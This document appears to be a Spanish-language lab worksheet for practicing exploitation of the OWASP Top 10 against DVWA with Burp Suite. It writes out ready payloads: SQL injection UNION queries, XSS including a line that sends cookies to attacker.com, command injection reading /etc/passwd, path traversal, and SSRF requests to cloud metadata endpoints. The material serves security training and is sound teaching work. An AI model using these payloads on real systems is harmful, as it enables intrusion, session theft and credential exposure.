🧪 Laboratorio: OWASP Top 10 - Prácticas Completas
Objetivo
Practicar la identificación y explotación de las 10 vulnerabilidades más críticas del OWASP Top 10 en un entorno controlado.
Requisitos Previos
- BurpSuite configurado
- Navegador con proxy configurado
- Acceso a DVWA o entorno similar
Ejercicio 1: A01 - Broken Access Control 🔓
Objetivo
Explorar vulnerabilidades de control de acceso en DVWA.
Pasos
Iniciar DVWA y configurar security level a “low”
Directory Traversal
Burp Proxy → Intercept ON GET /vulnerabilities/fi/?page=../../../../etc/passwdIDOR (Insecure Direct Object Reference)
Cambiar el ID de usuario en la URL: http://dvwa/vulnerabilities/authbypass/?id=1 http://dvwa/vulnerabilities/authbypass/?id=2Verificar con Burp Repeater
- Enviar request a Repeater
- Modificar el ID
- Observar diferentes datos
Entregable
Captura de pantalla de cada vulnerabilidad encontrada.
Ejercicio 2: A02 - Cryptographic Failures 🔐
Objetivo
Identificar datos sensibles expuestos y debilidades criptográficas.
Pasos
Traffic Interception
Buscar en HTTP History: - Credenciales en URL (GET parameters) - Tokens JWT en Authorization headers - Datos sensibles en cookiesAnálisis de cookies
Burp → Decoder - Decodificar cookies (Base64) - Identificar información expuestaJWT Analysis
Instalar JWT Editor en Burp - Analizar algoritmo (none, HS256) - Modificar payload - Firmar con clave conocida
Ejercicio 3: A03 - Injection 💉
Objetivo
Explotar inyecciones SQL, XSS y Command Injection.
3.1 SQL Injection (DVWA)
' OR '1'='1
' UNION SELECT NULL, version()--
' UNION SELECT table_name FROM information_schema.tables--
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--3.2 XSS Reflejado
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>3.3 XSS Almacenado
<script>fetch('https://attacker.com?c='+document.cookie)</script>3.4 Command Injection
; ls -la
| cat /etc/passwd
$(whoami)
`whoami`Ejercicio 4: A04 - Insecure Design 🎨
Objetivo
Identificar falhas de diseño de seguridad.
Pasos
Rate Limiting
Enviar múltiples requests de login rápidamente Observar si hay límiteBypass de autenticación
Forzar browse a páginas protegidas después de logout Manipular cookies de sesiónLógica de negocio
- Carrito de compras: precios negativos - Descuentos: aplicar múltiples veces - Transferencias: valores extremos
Ejercicio 5: A05 - Security Misconfiguration ⚙️
Pasos
Headers de seguridad
Burp → HTTP History → Analyze responses Verificar ausencia de: - X-Frame-Options - X-Content-Type-Options - Strict-Transport-Security - X-XSS-ProtectionInformation Disclosure
Buscar en respuestas: - Stack traces - Versiones de software - Rutas de archivo - Comentarios revealingDebug Mode
Buscar endpoints como: - /debug - /admin/debug - /env - /info
Ejercicio 6: A06 - Vulnerable Components 🧩
Pasos
Identificar versiones
- Headers de respuesta (Server, X-Powered-By) - HTML source (versiones de libraries) - Errores (stack traces con versiones)Vulnerability Research
Buscar en: - https://nvd.nist.gov/ - https://cve.mitre.org/ - https://exploit-db.com/Actualizaciones
# Verificar con npm npm audit # Verificar con pip pip-audit
Ejercicio 7: A07 - Auth Failures 🔑
Pasos
Weak Password Policy
Crear cuenta con: - Contraseña corta - Solo números - Sin caracteres especialesSession Management
- Analizar cookies de sesión - Duración de tokens - Invalidación después de logoutJWT Weakness
- Algoritmo "none" - Clave weak para HS256 - Claims importantes sin verificar
Ejercicio 8: A08 - Software Integrity Failures 🔗
Pasos
Subresource Integrity
Verificar que scripts externos tienen integrity attribute <script src="https://cdn.jsdelivr.net/npm/vue" integrity="sha384-..." crossorigin="anonymous">Auto-update
- Verificar signatures de actualizaciones - HTTPS para downloads
Ejercicio 9: A09 - Logging Failures 📝
Pasos
Identificar logging
Buscar en código: - print() - console.log() - logging.info()Verificar qué se loggea
- Credenciales - Tokens - Datos sensibles - IPs de usuariosLog Injection
Injectar caracteres en input que aparezca en logs: \n<script>alert(1)</script>
Ejercicio 10: A10 - SSRF 🌐
Objetivos
Explotar Server-Side Request Forgery.
Pasos
Identificar funcionalidad SSRF
Buscar: - URL parameters que cargan recursos - Preview de URLs - Export/Import de datosPruebas básicas
?url=http://localhost ?url=http://127.0.0.1 ?url=file:///etc/passwdCloud Metadata
# AWS ?url=http://169.254.169.254/latest/meta-data/ # GCP ?url=http://metadata.google.internal/computeMetadata/v1/ # Azure ?url=http://169.254.169.254/metadata/instance
Herramientas de Automatización
Nmap NSE Scripts
nmap --script=http-title,http-headers,http-robots.txt -p80 target.comBurpSuite Scanner
1. Target → Add to scope
2. Audit → New audit
3. Select OWASP Top 10
4. Run
OWASP ZAP
# Iniciar ZAP (asegúrate de que Docker esté corriendo)
docker run -d -p 8080:8080 -p 9090:9090 --name zap owasp/zap2docker-stable
# Verificar contenedor
docker ps | grep zap
# Acceder a la interfaz web
# http://localhost:9090Entregable Final
| Vulnerabilidad | Encontrada | Severidad | Descripción |
|---|---|---|---|
| A01: Broken Access Control | ☐ | ||
| A02: Cryptographic Failures | ☐ | ||
| A03: Injection | ☐ | ||
| A04: Insecure Design | ☐ | ||
| A05: Security Misconfig | ☐ | ||
| A06: Vulnerable Components | ☐ | ||
| A07: Auth Failures | ☐ | ||
| A08: Integrity Failures | ☐ | ||
| A09: Logging Failures | ☐ | ||
| A10: SSRF | ☐ |
Total de vulnerabilidades: ____
Severidad crítica: ____ Severidad alta: ____ Severidad media: ____